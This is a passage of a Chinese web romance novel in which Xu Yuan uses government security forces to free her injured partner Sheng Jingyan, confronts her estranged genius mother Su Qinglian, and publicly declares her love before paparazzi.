那些警卫员还不是普通的警卫员,单是看肩上的徽章就知道身份地位不简单,而这些人现在却跟随在许愿身后,许愿又做了什么交换了什么! 唐老爷子一口气险些没有喘上来。 他就说了许愿是苏青莲的女儿,也是个疯子! 唐家是华国A市一等一的名门望族,且有着红白背景,什么样的人能够无所顾忌的闯进唐家?只有那些权势在唐家之上的警备队。 那些人为什么会听从许愿的吩咐? 一定是许愿拿什么做了交换,而她拿出的东西一定是上面都重视满意的东西。 众人愣神之际,许愿已经远远看到盛景炎,她克制不住的眼眶微微发红,却强忍下翻涌的泪意,一步一步走到他面前,走到他面前时身体发软,盛景炎立刻眼疾手快的握住她的手腕,她这才没有踉跄摔倒。 低下头就能看到他满是伤痕的手背,被利器划过伤口深刻见骨。 她身体在发抖。 她半跪在冰冷的地面上,她忆起当初自己坐在轮椅上盛景炎就总是这样,他总给她一种自己被他捧在手心呵护的感觉。 她动作很轻很轻的握住他的手,声音带着哑意。 “盛景炎,我来接你回家。” “你看,我能做到的。” 她捧住盛景炎受伤的手,很轻很轻的捧住自己的脸,她配合的蹭着,脸上的轻微笑意一直没有敛去。 “阿愿,你是傻瓜。” 盛景炎看着她,他如何不知道许愿为何做出这样的动作,她这样小心翼翼的对待他,就是不想他受伤。 “我不是傻瓜,他们都夸我很聪明的。” “你付出了什么。” 付出了什么才能请出这些暗处的警备队围堵唐家,以什么为代价才能请出他们。 “我这么聪明,从不吃亏的,不是付出,只是等价交换。” 许愿的唇擦过他手背上的伤口,动作很轻缓。 “那些东西跟你比起来,算不得什么。” 所以说,许愿不愧是苏青莲的女儿,一模一样的情种。 第224章 我的母亲,早就死了 苏青莲能为唐青江倾尽所有颠覆一切,许愿也能同样为盛景炎做到这一步,得到她们的爱就能得到全部。 她已经极力逼着自己忽略盛景炎的双腿,强忍着不去注视他已经断裂的双腿。 “有些事,等回去后再跟你算账。”许愿望着他此刻含笑温柔的眼眸,他像是无奈又是叹了口气。 “我都已经这样了。” 许愿却只是握住他的指尖,然后很轻很缓的站起身,她身后就是盛景炎,好像她站起身就是为了将盛景炎拦在自己身后。 “苏女士,好久不见。” 许愿很美,这是所有人都知道的事实。 但是苏青莲真正意义上透过视频监控和成年后的许愿见面。 她太像当年的她自己,除了气质不一样,她几乎可以说是她的另一个翻版的自己。 她是温柔中带着如水的毒刺,许愿不同,许愿是自带的冷意就已经逼退的身边的人。 她们之间明明相貌几近相同,却能透过那双眼看出波澜,许愿的眼神还带着稚嫩的坚定,苏青莲却已经历经沧桑不论遭遇什么事都可以无波无澜。 苏青莲看着许愿,她的眼神中带着明显的欣赏意味儿细细打量许愿,眉眼微微扬起。 “你确实很像我。” “除了容貌,苏女士认为我们还有什么地方相像。” 许愿眼神淡漠,看她的眼神都是陌生的冷意。 是的,对她来说苏青莲就是陌生人。 “怎么?用情至深难道不像我?” 苏青莲仍然在微笑。 许愿淡淡道:“用情至深到满脑子只是爱情却忘了身边人吗?抱歉那绝不会是我,亲情爱情友情我都在意看重,我这辈子都做不出抛弃亲生子女去追求自己所谓的幸福大爱。” 苏青莲眼睫微颤,她把玩着自己的手指,声音里面含着几许笑意。 “可你的孩子还是掉了,不是吗。” “这样看来,你像我却不如我,起码我能护住我自己的孩子能让他们长大成人,而你的孩子还未真正成型就已经永远的跟这个世界做告别。” “连自己的孩子都护不住,许愿,你果然很没用。” 许愿刺她一句,她便要掀开许愿鲜血淋漓的伤口,一把一把的往伤口上撒盐。 “你果然全都知道。”许愿抿唇,她几乎很想发笑。 苏青莲活着,她在国外知道国内的所有事。 她明明人在国外,但国内四处好像都有她的眼睛,所有的一切都无所遁形。 连她怀孕这种隐秘的事她都知道,那苏逸的遭遇她知道吗,她被许镇江数次逼迫她知道吗。 他们一次一次被逼到尽头,她是以什么心情看着他们呢? 像是看戏的心态吗,又或者嘲讽真是没用的手办纪念品,连她的十分之一都不如,或者说不配做她的孩子? “你在伤心吗。” 苏青莲眼神平静:“许愿,那个孩子算什么呢?那不过是傅京礼的孩子,本就不该出生在这世界上,你跟盛景炎会有很多独属于你们的孩子,为什么要在意一个与你无缘的孩子。” 她就是这样冷静到毫不在意,仿佛那不是一条人命,真的只是玩具手办。 “你让人觉得可怕。” 许愿抿唇望着她开口:“其实我跟你之间也没有什么缘分。” “我的母亲早在十几年前就已经死了,她是被我父亲刺激到自杀割腕自杀,我的母亲从不是什么强大危险到能让商圈人闻之色变的人,她只是一个软弱可悲护不住自己一双儿女懦弱无能到被逼死的女人。” “我的母亲,早就死了。” 许愿一字一句说得缓慢,足以让苏青莲听清楚她的话。 苏青莲却完全不生气,她轻轻笑了一声,温温柔柔的开口:“许愿,你体内流的是我的血,你的优秀基因遗传自我,这是抹不掉的事实。” “不管我是生是死,你都是‘苏青莲’的女儿。” 一句话将她牢牢的困在束缚中,是,她这辈子都是苏青莲的女儿。 对,因为苏青莲她才能有这样优秀的基因,当所有人都因为普通的智商拼命学习上不完的补习班也只能到达中等阶层,永远无法挤进上层社会,而她却可以倍速的学完所有的知识一路跳级达到自己都难以想象的高度。 这一切都因为她流着苏青莲的血。 恐怕她到达现在的高度还是会有无数人说,她能到达这样的高度只因她是苏青莲的女儿。 一辈子都无法摆脱的。 “那真是感谢苏女士这样优秀的基因。”许愿微笑,也是温温柔柔的:“既然我说什么苏女士都这样毫不在意,那想必我将苏女士留给我的所有手稿研究都捐献给上面苏女士也是不会在意的对吗。” 一句话,苏青莲脸上的笑意微不可查的僵了一瞬。 “我留给你的东西,你给了上面?” 许愿继续微笑:“不仅如此,我还承诺他们让他们见到苏女士,果然苏女士你确实在关注着一切会在这种时刻出现继续操控全局。” “为什么会这种时候现身呢?不过是想暂时的跟我修复我们之间的母女关系。” “你不爱我,为什么要修复我们这段岌岌可危的关系?” “答案只有一个,你的爱人即将苏醒,你不想让他知道你是这样无情无义可以抛弃自己儿女的女人,你要装要演,要让世人觉得你最无辜你是为了培养我们所以才做旁观者无视我们遭受的苦难。” “所以,你早就算好了会发生这种事,你要像救世主一样拯救我的爱人然后和我相认。” “你想象的大抵是我会感动得泣不成声的感激你。” 许愿笑了。 “不,在我看来,我的母亲早就死了。” “苏青莲,你说得对啊,我是你的女儿,我体内流着你的鲜血,我遗传了你顶级的基因,我怎么会甘心成为你棋盘里一枚任你摆弄的棋子。” “你这样利用我,被掀翻棋盘的滋味如何,喜欢我送给你多年未变久别重逢的大礼吗。” 第225章 爆发 许愿是什么性格的人。 危险强大,哪怕真的在追爱的过程中许愿也从未真的放弃过自己的追求,她会因为背叛伤心,但下一刻就能从原地重新站起来。 没有人能真的打倒她。 她会爱她自己。 若是有人将她摆到棋盘上,她就会毁掉整盘棋。 她只会做操控棋盘完全掌握主动的那一方,谁也不能操控她。 傅长海不行,苏青莲同样不行。 现场大厅一片寂静,所有人都在看着这对母女对峙,他们本以为按照苏青莲的阅历会完全碾压许愿,但并非如此,许愿不仅没有被打击,甚至隐隐占据上风。 唐老爷子目光晦涩的望着许愿,怪物生了个怪物。 苏青莲能透过屏幕看到远远站在许愿身后的一排将级人物,他们都是为苏青莲而来,不,确切的说是为唐青江而来。 当年的唐青江在国内的身份是绝对保密级别的,他知道国内太多机密甚至参与了最重要的研究数据,唐青江的身体被偷走这是对他们所有人的侮辱。 苏青莲毫不怯懦,她嗓音里面仍然还带着笑意。 “许愿,你不愧是我的孩子,我很满意我的作品。” 是作品也是血脉的延续。 一名特警上前一步,他已经两鬓斑白,肩上的徽章足以昭示他的身份,他一双黑沉的眼睛涌动着风暴。 “苏青莲,唐青江是国家培养的研究人员,你私自盗取他的身体已经触犯国内最高刑罚,如果你不想一辈子都在牢狱中度过就该将人还回来。” 这句话,让许愿听着都有些生理性不适。 唐青江是国家培养的研究人员,但他首先是个人才是研究人员,可在这些人眼中却好像是可以随意交易盗取的物品。 只有提到唐青江,苏青莲面色陡然变冷,一直温柔的声音都带着沉沉恨意。 “如果不是你们分为两派一派想要解剖他研究他的身体数据我也不会不顾一切带他离开!” “阿江到底什么地方对不起你们!他是天才他有错吗!没有成年就已经住在研究所没日没夜的研究他奉献了自己却因为你们内部的纠纷嫉妒他的优秀一把火要烧死他!他成了植物人你们都不肯放过他,他没有死,他还活着!你们就要解剖他的身体!现在却要告诉我说我触犯法律!” “他是我的爱人!我带走我的爱人有什么错!” 这话才出口,唐老爷子都震惊了,唐槐眼神闪了闪却什么都没有说。 当年的苏青莲纵然聪慧但到底是无法跟红白背景的人抗衡,且那时她对电子方面真的懂得不多,为了能够连接到网络数据,为了能够探查唐青江的信息她才会接触这些,终于让她查到唐青江还活着的证据。 可在她心里那样好的人,把一切都奉献给国家人民的人却只被当作一件随时可以利用的物品。 那时候分为两派,一派是已经疯魔的研究人员,他们要研究唐青江的大脑心脏数据,他们要知道唐青江凭什么有这样远高于常人的智商,他们要知道这些然后进一步优化国民的基因,多么冠冕堂皇的借口。 另一派则是保守派,要守着唐青江一直等他苏醒。 可那些研究人员是国家保护的人物,没了一个唐青江,他们跟这些研究人员没有能真正沟通的渠道。 他们险些低头。 在这种时候是苏青莲黑进了监控网络系统,她知道那群疯子抽了唐青江的血,他们甚至有人疯到喝了唐青江的血,就为了进一步的提高自己的智商。 就是一群疯子。 “我带走阿江时他被抽了奖金一千毫升的血,你们多狠啊,为了做研究根本就是想他死,如果不是我带走他,阿江早就死在你们手中。” “你们又凭什么在我这里说教给我定罪说我犯法!” “既如此,那些研究人员和当年参与这件事的那群人是不是也触犯了法律!我是不是一样可以起诉他们?” 苏青莲冷笑一声。 “你们不要逼我改变国籍在国际法庭起诉那群人,真到那时你们就会成为彻头彻尾的笑话。” 苏青莲这一生想要守护的只一个唐青江罢了,他们伤害她她都不会这么大的反应,可他们伤害的是已经没有意识的唐青江。 他已经陷入沉睡他们却还要他的命,她如何能忍呢。 刑从景,也就是最开始与之交流的将级特警看着苏青莲开口:“你已经给了他们应有的惩罚不是吗。” 那些曾经臆想依靠唐青江的血改变自己基因智商的科研人员全都因为各类错误被永久监禁只能在牢狱中继续研究,而那些支持过这件事的人全都晚节不保,一个一个落马。 唐老爷子却因为这话极度震惊。 当年老爷子的身份已经是高层,但因为这件事涉及唐青江所以没有将唐家人一起带进来,唐老爷子一直被蒙在鼓中,只知道后续与唐家意见相左的人一个接一个的因为各类犯罪被捕入狱。 现在才终于知道,这同样是苏青莲的报复。 第一次是为苏家报复众人,第二次是为唐青江与世人为敌。 她是真的爱唐青江爱到骨子里。 “这不代表阿江没有受到伤害。” 苏青莲双瞳赤红,哪里还有方才那副淡雅冷静的模样。 “他们喝的是阿江的血!” 只有这时,许愿才发现自己是真的像苏青莲的,此刻面对挚爱之人受到伤害时他们的反应是相同的。 只是不同的是苏青莲智商太高,她的心也只装得下一个唐青江。 刑从景是当年那批反对利用唐青江做实验领头人,他眸光晦涩的看着此刻几近发狂的苏青莲。 “苏青莲,你该知道唐青江和你对我们很重要。” 科研人员对一个国家多重要?有跟得上时代的科研人员就能领先别国数年,而他们就有这个实力。 苏青莲和刑从景是旧识好友,或者换一种说法,幼年时期他们是一起长大青梅竹马的交情. 第226章 跳梁小丑 刑从景曾经在唐青江出事后向她求一个追求的机会,苏青莲想也不想的拒绝他,并介绍了无数千金小姐给他。 但刑从景却一直单身至今,他没有爱人没有骨肉只有几个领养到身边抚养长大的孩子。 苏青莲透过眼神就知道他对自己还有奢想。 苏青莲眉眼重新弯起来。 “刑从景,你既然这么想要我们的消息那你就去盯着许愿啊。” “她可是我的血亲,我总有联系她的一天,不是吗。” 对于不爱的人,她一直都是如此残忍。 她就这样轻飘飘的将自己认为是大麻烦的事推到许愿这边,她脸上重新展露出笑意,深深的看着许愿,似是还在等着许愿的回应。 “你在等我的反应吗。” “我和盛景炎总是遇到这么多危险的事,现在能多一些上面派来的保镖,我求之不得,多谢。” 许愿身边没什么是上面不能知道的。 更何况她不是蠢货,透过苏青莲和刑从景的对话就已经猜到这两人关系匪浅。 也是,苏青莲那样一个优秀到耀眼至今还是数人内心白月光的女人,刑从景会爱她不是再正常不过的事? 刑从景此人的风评她还是清楚一些的。 冷淡、严肃、恪守规矩、更是曾经上过真正战场的军人,有枪林弹雨中拼出来的力量权势。 这样的人做任何事都以法律为基准,不会做出与律法相悖的事,所以哪怕他知道自己研究什么也绝不会生出什么抢夺的心思。 能让这样级别的大将来做自己的“保镖”,怕是最顶上头的都还没有这种待遇。 “你还真是能苦中作乐。” 苏青莲不可苟同,她讨厌被监视。 “不是苦中作乐,我是觉得倍感荣幸。” 对峙到此刻,苏青莲透过屏幕望向许愿那张毫不在意虽然苍白却明艳美丽的面容。 “许愿,你真的是个非常有趣的孩子,期待与你的再会。” 话落,电脑屏幕已经黑屏。 苏青莲靠在沙发上,脸上那淡淡的笑意已经敛去,她能感受到心口轻微的疼痛。 她抚着心口,觉得自己是有些难过的。 哪怕将自己塑造得再无情无义,她也是有心的女人,她爱唐青江又怎会完全不在乎自己的孩子。 只是不得已。 当年唐青江要被人设计,因为上面的失误让他发生意外在一场大火中被砸成没有任何意识的植物人,还要被那群人设计谋害解剖。 她没有时间耽搁更多,她做出一场完美又血腥的死亡秀只是要将这场戏演得更像。 她要瞒过世人所以撒下弥天大谎,所有人都以为当年那个强大危险几乎是所有强者内心白月光的苏青莲真的毁在许镇江这个渣男手中。 只有这样隐匿卑微的死去才会让众人渐渐忘记当年那个耀眼骄傲的苏青莲,才会让世人不再关注许愿和苏逸。 而他们才能有机会顺利长大,绝非因为她的关系被人自小抓起来研究,踏上他们父亲的老路。 她狠吗,她当然狠。 可既然当年在能力不足只能从爱人和血脉两者二选一时选择了爱人,就注定她一辈子都会为此愧疚。 选都选了,错都错了。 倒不如真觉得自己是个没有心的人。 他们既然是自己和唐青江的孩子,他们就只能优秀,这样才配得上他们的优秀血脉。 苏青莲来到研究所,看到仍然安静的躺在病床上在逐步恢复的男人,她半跪在冰冷的地面,手握住男人的掌心,很轻很轻的揉捏着。 “阿江,你说我是不是做错了。” 没有人回应。 只有簌簌的微风飘过,明明是盛夏,却觉得那风很冷。 苏青莲望着仍然陷入沉睡的唐青江。 “阿江,等你醒来我们就回A市,他们不接受我,但一定会接受你的,我们可以……一起回家的。” 她的头在男人胸口轻轻的蹭着,却忽略了男人稍稍动作的指尖。 …… 唐家大厅一时陷入沉寂,唐家没有人主动开口。 唐雅颂眼神复杂的望着许愿。 这是她真正意义上第一次见到许愿,平心而论,许愿的相貌智商和绝佳的思维能力和缜密的反应能力都已经将常人甩在身后。 谁能在这么短时间内就猜到盛景炎在她这里,甚至用苏青莲的资料来搬出唐家都不敢为敌的警备队,不仅能打击到苏青莲还给了唐家当头一棒让她彻底明白在A市不是唐家说了算的。 利用苏青莲的资料请警备队出山,打击苏青莲打击唐家最终达到成功解救盛景炎的目的。 许愿有什么损失吗? 不,她没有任何损失。 甚至白白得了警备队的保护,这不就是许愿想要的吗? 一环扣一环,不用付出任何代价,以打击报复他们为目的得到了自己想要的一切。 她觉得此刻自己已经被许愿的智商摩擦碾压侮辱着。 这就是盛景炎所选择的许愿,连恐怖如斯的苏青莲都要棋差一招的许愿。 “唐爷爷,唐家主,希望唐家以后能好好教养自家小辈,不要再做出什么害人害己影响自家声誉的事。” 许愿已经收敛了方才犀利的眼神,但也没有多少温情,眼神平淡清冷。 “唐小姐这么优秀,自然可以遇到最正确的人。” 她并不带几分嘲意,是真的在提点。 唐家在A市算是庞然大物,但却也更易被流言中伤。 有时一点极小的事都有可能被无限放大,但在唐雅颂听来,这句话就像是赤裸裸的嘲讽,讽刺她的无知。 “许愿,你那样优秀不还是嫁过人丢过一个孩子。” 她口不择言拿孩子来攻击许愿。 许愿眸色淡淡。 “唐小姐,受过高等教育的人,不会将人的苦难当作玩笑来肆意攻击谩骂,你这样只会让我想到一个词汇。” “跳梁小丑。” 孩子没了就是没了,她固然伤心难过,却不会一昧的停留在原地陷进去出不来。 她会为自己的孩子报仇,却不会允许自己一直为此伤心。 所以这样的攻击对她不会产生多少危害。 第227章 你知道,我在等你吗 这样的攻击只是让她认清一点,唐雅颂并不是多聪明的人。 真正聪明的人了解了对方的底牌后不会像这般主动挑衅出击,全然不考虑家族乃至一切后果,自私、凉薄、幼稚却又可笑。 许愿已经推着盛景炎的轮椅离开唐家大厅,刑从景对着唐老爷子微微颔首,威严的目光掠过唐雅颂时低声道:“唐家小辈是要好好教一教规矩。” 话落,带着警备队全员离开。 唐雅颂磨牙狠狠地望着众人离开的背影,神情却是落寞的。 她能感受到彼此之间的差距,她内心是不甘的,她不想就这样低头,她不甘心!她不会就这么轻易的将盛景炎让给许愿的,迟早有一天她会将盛景炎夺回到自己身边,绝对。 唐雅颂内心如何发誓要夺回盛景炎许愿一概不知。 离开唐家,刑从景拦住她。 “许小姐留步。” 许愿转身正要开口询问,薛酒已经推着轮椅到她身边,手上稍微动作许愿就已经双脚一软坐到轮椅上。 她身体还没有恢复还很虚弱,今天跑东跑西在唐家强撑着站了这样久,早就该撑不住了,也亏得她真的撑了这样久。 “薛酒!” 许愿忍不住想骂他。 薛酒摆了摆肩,一副无辜模样。 “他们什么不知道,装这些倒显得多余了。” 话是这样说没错。 许愿也觉得有些无奈。 刑从景面色平静的将一叠资料递交到许愿手中。 “许小姐可以看下这份资料,这是几大部门经过考核后最终选择由许小姐来接下这次的合作项目。” “里面的资料会是许小姐感兴趣的东西。” 许愿顿了下,修长的手指一页页翻阅着手中的资料,神色淡漠平静。 里面有几份资料,却全篇都是围绕着一个人展开的。 段星河。 那个早年跟在苏青莲身边,十几岁就已经展露天分在科研界险些成为科研恐怖分子的男人。 瞧瞧。 她和傅长海费尽心思去找段星河,哪曾想这人聪明到就躲在最安全的地方。 许愿抬眸,平静淡漠的眼神对上刑从景的眼神。 “明天段星河会展开医疗工作时的干细胞抗癌投资会,他会向各国寻求合作机会。” “抗癌”两字重重的敲打在许愿心扉处。 现在的人都怕死,越是有钱越怕死,但现在患癌几率持续上升,段星河此处提出的有关抗癌的研究却正正好的敲到所有人瘙痒出。 没有人不想投资这个项目。 陆斯年和薛酒也是有些震惊。 “为什么是我。”许愿开口询问。 她不蠢,她认为上面不会在这种事上选择一个不好拿捏控制的人去跟段星河那种疯子合作。 她自认自己同样是个疯子,两个疯子凑到一起,上面真的不慌不怕? “盛景炎就是你的剑鞘,不是吗。” 刑从景这话说得漂亮,若她是一把漂亮锋利的宝剑,那盛景炎就能收住她的锐利锋芒,她的软肋就在这里,上面还有什么可担心的。 许愿但笑不语。 刑从景解释:“段星河手书,直接指定要见你我们才考虑将最后的合作机会交给你。” 刑从景再度递给她一封红色封面的信函,只是取出那份信函时刑从景的脸色有点古怪。 难不成一份信函还暗藏玄机? 许愿翻开,看到内里记录的几句话眼角狠狠抽了抽。 “这写的什么?” 像是蚯蚓揪到一起扭曲成了几句话,字可以丑,但丑到这种程度的就过分了。 刑从景默了片刻:“也不是太难认。” 许愿直接把信函递过去大有一种不难认那你来的意思。 刑从景面色平静如初:“许愿……” 就念了个许愿的名字,刑从景卡壳了。 “这不重要,重要的是能跟上段星河进度与他智商相匹敌的只有你,他有意见你,上面也有意请你,还希望许小姐认真对待此次合作。” 说什么不重要,其实就是没认出段星河的狗爬体外星字体写了个什么东西。 许愿轻啧一声,继续翻看资料。 资料显示段星河做研究就喜欢研究点这个没兴趣了丢一边研究点其他的,可偏偏这几种都研究出了雏形。 电子智能、抗癌药物、全息相关智能、哦,还有美食相关的制造机。 只要他想没有做不出来的东西。 “明天我会准时到场,不会迟到。” 刑从景郑重的点了下头后亲自带领警备队护送他们回公寓,并真的在附近的公寓楼住下来,上下左右都是警备队的警员,为的就是守着他们二人不再发生任何意外。 许愿早就备好的医疗团队已等候多时。 这次来人不是江惊蛰,是许愿从国外请回来的专业治疗腿的团队。 他是伤得很重,一条团队一时也不敢给她什么保证的回答,只能保守估计需要动手术,且手术成功几率并不算大。 许愿脑子很乱,盛景炎却已经给她倒了杯水递到她手边,温热的水让她恍恍惚惚的回过神。 她看着面前的男人。 他的眼底多了几分晦意阴霾,但看向她时一直都是带着笑的。 看来这次他是真的被盛家人伤得不轻。 “你在发什么愣呢。”许愿捧着温热的水杯喝了口水,润了润喉方才开口。 “在想段星河的事。”盛景炎开口:“直觉告诉我,段星河很危险。” 许愿抱着手臂,看着面前的男人缓缓开口:“那你的直觉有没有告诉你,现在的你也在面临被女朋友算账的危险,还记得在唐家我对你说过的话吗?” 等回来的时候,一起算总账。 盛景炎的身体很明显的僵了下。 “阿愿,我很累。” 他已经做出一副投降姿态,不想继续这个话题。 显然许愿并没有打算轻轻翻篇揭过放过他。 “盛景炎,你该知道在我这里转移话题从来都不是个好方法,只会让你的心虚完全暴露。” 许愿走近他,双手捧着他的脸,几乎鼻尖贴着他的鼻尖望着他。 “盛景炎,为什么要因为这样一件小事丢掉我。” “你知道 我在等你吗。” 第228章 他们就该一直在一起 “盛景炎,你知道我会难过吗。” 他是真的伤得很重,浑身上下都是伤,甚至那张俊美的脸上都有划伤,右手整条手臂断掉,胸口背部乃至双腿都是数不清的伤口。 换作是别的什么人一定会死死的牢牢的抱住许愿这根救命稻草担心她丢掉自己,只有盛景炎想推开她。 “阿愿,我能说什么呢。”盛景炎像是有些无奈。 “我现在好像说什么都已经是错的,你要审判我吗,你当然可以审判我。” “我只是不理解。” 许愿握住他的手,力气都不敢太大。 “你把我当什么把你自己当什么?” “这世界上太多人的烦恼都是因为没有钱没有权造成的,我们有权有势有钱,该有的都有了,你长得这样俊美,又处在这样的高度,你只是现在断了腿,世界上比你不幸的人数不胜数,为什么你要因为这件事而自甘堕落丢掉我。” “能治好你断掉的腿固然重要,治不好我也会陪着你。” “你想去哪里我会带着你一起,如果你执意想站起来,我也会去建立这些相关的研究团队建立特定的研究所,如果你担心更多……” 许愿俯下身,双手抱住他的脖子,唇落在他的耳侧声音清浅。 “那些事更不必在意,那个姿势我也很喜欢,女上位你不喜欢吗,你不是最喜欢把我捧起来吗,那你应该最喜欢这个姿势……” 她的声音带着明显的诱哄之意。 盛景炎眸光暗了几分,不等他有什么回应,许愿的手已经伸下去。 “看来运气还是很好的,不是好好的吗,沮丧什么?” “俊美强大却断了腿的总裁大人,我最喜欢了。” 许愿的手抚弄着男人的耳朵,动作很轻。 “这样就能一直……一直把你困在我身边,让你哪儿都去不得,只能留在我身边。” 盛景炎被她突然大胆的动作弄得呼吸都带着几分急促之意,他眸光晦暗。 “阿愿,你以前不是这样的。” 现在她总是在逗他,可以前一直都是他在主动。 现在的她大胆热情。 这样的举动其实是给了他定心丸,她要让盛景炎知道无论发生什么事,他变成什么样,她都会坚定不移的选择他,她的选择永远都会是盛景炎不是其他什么人。 她在用行动告诉他,她爱他。 “那你喜欢吗。” 许愿的唇擦过他的唇,她方才许是才吃过草莓,嘴巴里都带着甜甜的味道,眼神暧昧到让盛景炎有种自己已经被推倒的错觉。 不等盛景炎回答,许愿喉间已经溢出很轻的笑。 “可惜了,我们现在都是伤员,不然明天你都下不来床。” 盛景炎:“……” 盛景炎先是沉默,继而目光都有些呆滞。 他忍了忍,但别的事随便许愿怎么说他都依,可这种事……这种有关于男人自尊的事他真的忍不了。 “阿愿,你是不是太瞧不起我了。” 生气但语气还是无奈。 许愿的手轻抚在他胸口,动作轻柔。 “你倒是也做点让我瞧得起你的事,断了腿就闹得要死要活,又不是那里不行,就算真不行了还能柏拉图,只要人是对的,怎么都行。” “盛景炎,你明白吗。” “男女之间的爱情确实需要掺杂着情欲和肉体的交易,但这不是全部,灵魂的惺惺相惜引起的共情共鸣才更重要。” 所以许愿说这些做这些,仍然没有绕过那个话题。 她还因为盛景炎自我放弃的事儿生气。 盛景炎嗓音带着哑意。 “阿愿,我只是不忍。” “你这样好,你有看过云霞吗,是那种整片天空被一片温暖橘红色笼罩天际却隐隐闪露星光的云霞,那样的云霞好像连接了天地,我从小到大去过很多地方,只有那次的云霞美到令我觉得惊心动魄。” “你在我心里就像那片永恒存在的云霞,在我心里你就该配得上这世间最好的一切,而不是只能配我这样的人。” 这次,盛景炎是真的没有再耍心思。 他真的这样想。 “盛景炎,我说了,你只是受伤了,你有俊美的面容显赫的家世雄厚强大的背景,你不普通更不像你说的那样不堪。” “如果你执意那样认为。” “我是云霞……那你知道吗。” 她俯下身,眼尾弯起,笑意中带着浓浓的情意。 “那你已经笼罩在一片霞光中,我会在那片云霞中带你来到我身边。” “我们啊,就该在一起,永远般配。” 她说带他来她身边,她说,永远般配。 “我想,我不会再找到任何一个人和我这样相配的。” “我喜欢谈星月,也喜欢搞科研,喜欢在虚拟的数据中追求真我,他们只会注意到后者那个强大的我却从不知道我敏感却又生性多疑,他们知晓我看星星看月亮只会说我无病呻吟,他们不会提云霞,更不会说我会是你心中永恒美丽的云霞。” “你知道吗,只有你可以真正的和我的灵魂共鸣。” 许愿望着他:“你爱我吗。” 盛景炎被她问得一愣。 “他们都说你是利用我。” “他们说你把钱留给我是因为你知道盛家人的狼子野心,你只信任我,无关感情。”许愿眼神里都充满了温柔:“可我不信这些,我知道的盛景炎确实满腹心机,我们的关系都是你算计来的,但我相信你爱我。” “盛景炎,你爱我吗。” 盛景炎愣了片刻,像是很轻很轻的笑了一声。 “当然,我很爱你。” 他没有犹豫,眸光中仿佛都盛装着她的影子。 “那你怎么能放心的离开我有那种将我交给其他男人的想法。”许愿开口:“苏青莲有句话其实说得没错,我是像她的,我是聪明但我是个恋爱脑。” “今天我能为你选择牺牲那些文稿联络警备队,未来就有可能在爱上其他异性后做更过分的事。” “我已经遇到过傅京礼了,或者说你希望我再遇到一次……像傅京礼这样的人吗。” 第229章 她说,盛先生,欢迎回家 “他们会像你这样爱我吗,还是会榨干我的价值?” “既然你爱我,那不如永远守着我,再也不要给任何人伤害我的机会。” “如果你真的这样在意这双腿,我会去联系最好的医疗团队,我会去建立研究所,我可以像苏青莲一样为你做很多事,所以不要再说我们不相配。” “我们才是最相配的。” 许愿站起身,她的手撑在一旁,此刻居高临下却又带着明显的强势之意。 “盛景炎,看着我的眼睛,你从里面看到了什么。” 盛景炎整个人顿住,透过她那双本该清淡的眸感受到不可言喻的情意。 他喉头微微发堵。 “我想你能分辨的出爱与不爱,所以你的答案呢?” “算了,你想躲,我也不会给你继续后退闪躲的机会了。”许愿推着轮椅一路走到落地窗前,拉开窗帘。 盛景炎眼神微微闪烁,许愿勾了下唇:“你应该猜得到楼下有数不清的狗仔,之前回家前我就已经跟邢队提过不用理会这些狗仔记者,所以他们现在都躲在暗处,摄像头精准的对着我们。” “他们当中有人的摄像头会是最精密的偷窥仪器。” “你知道我想做什么吗。” “我想要所有人都知道在这场未曾停歇的荒诞舆论中我会义无反顾的选择爱你。” 许愿俯下身。 夜色如墨,月光柔和地洒在城市的每一个角落。 两人之间的气氛微妙而紧张,仿佛空气中都弥漫着一种难以言喻的情感。 许愿缓缓靠近盛景炎,心跳的声音在她耳边回响,下一秒双手却已经扶住盛景炎的轮椅,深深地吻了下去。 这个吻充满了激情与爱意,仿佛要将所有的思念与等待都倾注其中。 许愿的手指轻轻抚过盛景炎的脸颊,感受到对方肌肤的温度。 盛景炎起初有些怔愣,但很快便被这股热烈自她身上传来的赤诚爱意撵落,他的身体渐渐放松下来,开始回应起这个吻。 两人的唇舌纠缠在一起,仿佛整个世界都变得无关紧要。 透过落地窗,公寓楼下的狗仔们凑在一起眼睛都要瞪圆了。 这绝对是头条!只能是头条啊! 他们震惊不已,迅速拿出相机和摄像机,开始疯狂地拍照和录像。 “我靠,到底是谁说许愿对盛景炎没有感情的?亲自去接盛景炎回家,还这么……这绝对是真爱吧!” 不知道是谁喊了句。 还特地拉近镜头,然而下一瞬,猛然察觉到许愿好像在看镜头,那双平日里淡然的眼神都带着几分故意的戏谑一般。 靠,什么意思! 狗仔顿觉毛骨悚然,这一刻只觉得自己好像是被利用了一般可怕,可拍都拍了,只要放到网络上绝对是头条,他可不会在这时候退步。 下一秒,戴眼镜的狗仔手机陡然响起来。 他的手都跟着哆嗦了下,因为他看到许愿也在打电话,就这么巧,目光对准他所在的方向打了通电话,而他的手机就这样碰巧响了起来。 疯了吧。 不会是许愿,怎么会是许愿,如果真的是许愿,那也太可怕了。 狗仔笑容都是僵硬的,但是接通电话后整个人险些站不稳的栽跪到地上。 “拍够了吗。” 是许愿的声音。 狗仔紧张的能听到自己的心跳加速“砰砰砰”的心跳声不断加速让他脑子发懵。 “许总……您知道?” 许愿淡淡的嗯了声:“我知道是傅京礼派你们来的,今晚的照片和录像你们尽可以上传到网络,不必在意我这里。” “……”狗仔哑口无言。 “这样的录像和照片都可以?许总,您确定可以吗?” 他问这话无疑是问许愿是不是确定选择盛景炎。 “我说得还不够清楚吗。” 狗仔讪笑两声,许愿再没多说一句,挂断电话。 “我去,到底谁来的电话让你浑身冒冷汗啊!” “你总不该是收到了谁发来的法院传票。” “你不说话是什么意思,到底出了什么事把你吓得这么体面?” 一群狗仔将他围住,戴眼镜的狗仔吞咽着口水将许愿说过的那些话复述了一遍,一群人都是懵的,不知过了多久有个人开口:“许愿这是在向盛景炎示爱吗。” 对,正大光明的,用这样热烈的吻向那些关注他们的人诉明真相。 她爱盛景炎,她选盛景炎。 半小时后许愿与盛景炎热吻相关的信息果然被顶上热搜。 “到底有没有人能懂啊!我觉得我们在网上说什么许愿应该心里都清楚的,就是清楚所以才在这种时候站出来为盛景炎出头!她这就是最热诚的告白啊!” “我TM的刚才看的那段视频我是不是跟许愿对视了,我感觉许愿都已经在对着镜头了,她绝对知道狗仔在拍她!她完全不躲闪!甚至在笑!” “听小道消息说盛景炎已经成废人了,视频李盛景炎明显是坐在轮椅上行动的。” 